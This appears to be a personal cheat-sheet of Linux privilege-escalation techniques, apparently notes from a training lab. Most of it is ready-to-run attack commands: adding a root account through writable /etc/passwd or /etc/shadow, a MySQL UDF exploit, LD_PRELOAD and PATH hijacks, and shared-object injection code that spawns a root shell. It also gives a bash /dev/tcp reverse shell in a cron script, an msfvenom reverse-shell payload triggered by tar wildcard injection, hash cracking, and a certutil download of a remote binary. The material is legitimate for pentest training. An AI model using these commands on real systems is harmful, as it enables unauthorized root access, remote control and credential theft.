Linux Privesc 101

tags: cybersecurity linux privesc

Priv Esc?

Privilege escalation involves going from lower to higher permissions.
It is the exploitation of a vulnerability, design flaw or configuration oversight in an operating system or app to gain unauthorized access to resources that are usually restricted.

Types of Priv Esc

  1. Horizontal: Compromising a user with similar permissions to the ones you already have, possibly to use one of their files with suid access to elevate your permissions.
  2. Vertical: Elevating your permissions / gain access to systems that require higher privilege than you already have.

Lin Enum

Good goto for linux privesc
You can git clone it from here
Give it the appropriate permissions and run it as a script on your target machine.

The first step in Linux privilege escalation exploitation is to check for files with the SUID/GUID bit set.
This means that the file or files can be run with the permissions of the file(s) owner/group.

Search for SUID files with find / -perm -u=s -type f 2>/dev/null

  • / :Search the whole file system
  • -perm: search for files with specific permissions
  • -u=s: Any of the permission bits mode are set for the file. Symbolic modes are accepted in this form
  • -type f: Only search for files
  • 2>/dev/null: Suppresses errors

When you have a writable /etc/passwd file you can add your own user to it and gain root access.

Define a compliant password hash and create an /etc/password entry:

openssl passwd -1 -salt [salt] [password] # example openssl passwd -1 salt ace firefist # create entry in the format: # username:passwordhash:0:0:root:/root:/bin/bash # append this to the /etc/passwd file

Use sudo -l to list what commands you are able to use as a superuser on that account.

To learn how to exploit misconfigured binaries see GTFO Bins

To open a shell from vi use :!sh

Path

Is an environment variable in *nix systems that specifies directories that hold executable files.
When users run commands in terminal, it searches for executable files with the aid of the PATH variable.
You can edit the PATH variable by export PATH=[dir]:$PATH e.g export PATH=/tmp:$PATH

For further reading you can check out:

Using Service Exploits

You could use this exploit to get a root shell via mysql.

#navigate to the directory with the raptor_udf2.c file gcc -g -c raptor_udf2.c -fPIC gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc # connect to mysql service as root with blank passwd mysql -u root # create a UDF (user defined function) do_system with our compiled exploit use mysql; create table foo(line blob); insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so'; #Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission: select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash'); # Exit out of the MySQL shell (type exit or \q and press Enter) and run the /tmp/rootbash executable with -p to gain a shell running with root privileges: /tmp/rootbash -p

Weak File Permissions - Readable /etc/passwd file

Read the root users hash, and crack it.
The hash is between the first and second colon (:)
Crack it with john

cat /etc/passwd #obtain hash and paste in hash.txt john --wordlist=rockyou.txt hash.txt

Weak File Permissions - Writable /etc/passwd file

openssl passwd newpasswd # copy the result into the /etc/passwd file replacing the root users hash su root # enter newpassd

Weak File Permissions - Writable /etc/shadow file

# generate a new password hash with a password of your choice mkpasswd -m sha-512 newpasswd #copy hash and replace root's hash in the /etc/shadow file su root # enter newpassd

Sudo Shell escape sequences

  1. Use sudo -l to see which commands can be run using sudo for the user.
  2. Take note of the ones with NOPASSWD
  3. Look them up at GTFO bins and select the sudo option to see how to use the escape sequences!

Sudo Environment Vars

Sudo can be configured to inherit certain vars from the user's environment.
look for the env_keep options in sudo -l
e.g LD_PRELOAD would load a shared object before any others when a program is run.
LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

# check which env vars are inherited sudo -l # take an example of LD_PRELOAD being one of the inherited env vars # create a shared object using code at /home/user/tools/sudo/preload.c gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c # run one of the allowed programs via sudo while setting the LD_PRELOAD env var to the full path of the new shared object sudo LD_PRELOAD=/tmp/preload.so man man # a root shell should spawn # Run ldd against the apache2 program file to see which shared libraries are used by the program: ldd /usr/sbin/apache2 # taje an example of LD_LIBRARY_PATH being one of the inherited env vars # create a shared object using code at /home/user/tools/sudo/library_path.c: gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c # Run apache2 using sudo, while setting the LD_LIBRARY_PATH environment variable to where you output the compiled shared object, in this case /tmp sudo LD_LIBRARY_PATH=/tmp apache2 # a root shell spawns

Cron jobs file permissions

# view contents of the system wide crontab cat /etc/crontab # locate the full path of the file of interest, take an example of overwrite.sh locate overwrite.sh # replace the contents of the file with code to launch a reverse shell #!/bin/bash bash -i >& /dev/tcp/[l-host]/[l-port] 0>&1

Cron jobs path environment variable

# view contents of the system wide crontab cat /etc/crontab # Note the directory the PATH variable start with e.g /home/user # Create a file called overwrite.sh (as noted in the cron job) in the corresponding directory noted above with the following contents: #!/bin/bash cp /bin/bash /tmp/rootbash chmod +xs /tmp/rootbash # ensure the created file is executable chmod +x overwrite.sh # wait for the cronjob to run then run /tmp/rootbash

Cron jobs wildcards

When a cronjob is being run with a wildcard e.g a job that calls the tar function and is run with a wildcard, the wildcard can be used to pass in arguments to the function

# look at the GTFO bins page for the command # in our case the GTFO bins page for tar suggests: # tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh # Use msfvenom to create a reverse shell ELF binary msfvenom -p linux/x64/shell_reverse_tcp LHOST=[ip] LPORT=4444 -f elf -o shell.elf # move this file to your target machine # create the followinf two files touch /home/user/--checkpoint=1 touch /home/user/--checkpoint-action=exec=shell.elf # these files are in the format of the tar GTFO bins page suggestion # start a nc listener on the corresponding lport nc -lnvp 4444 # a root shell should spawn.

SUID/SGID executables - known exploits

# find the SUID/SGID executables find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null # find known exploits for executables of interest from exploitdb, github

SUID / SGID Executables - Shared Object Injection

When files have dependencies that do not exist
We can create said dependencies and utilize them to escalate our privileges

# take suid-so to be the file with a dependency that we have control over but hasn't been created yet /usr/local/bin/suid-so #run strace to see system calls and filter for open, access, no such file strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file" # note that the config file is something we can influence open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory) # create the directory for the file mkdir /home/user/.config # compile the shared object code and put it as the requested file gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c run the file and see it pop a shell

Here is an example of the shared object code referenced above:

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
        setuid(0);
        system("/bin/bash -p");
}

SUID/SGID executables - Env vars

The /usr/local/bin/suid-env executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.

# When you run a file and notice that it's trying to run a service e.g the apache2 webserver: /usr/local/bin/suid-env # Run strings on the file to look for strings of printable characters: strings /usr/local/bin/suid-env # look out for situations where the service executable is being called but the full path of the executable (in our case /usr/sbin/service) is not being used. gcc -o service /home/user/tools/suid/service.c #run the suid-env executable to gain a root shell: PATH=.:$PATH /usr/local/bin/suid-env

SUID / SGID Executables - Abusing Shell Features (#1)

In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

function /usr/sbin/service { /bin/bash -p; } export -f /usr/sbin/service # run the executable to gain a root shell

Password and keys - history files

cat ~/.*history | less

Lets you view the history files
Someone may have typed creds into the terminal instead of the password prompt :)

Password and keys - config files

config files often contain passwords in plain text / reversible formats

NFS

Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.

to upload files to windows use:
certutil -urlcache -f [ip/file] [outputfile]
e.g certutil -urlcache -f http://10.9.2.157:80/winPEASx64.exe winpeas.exe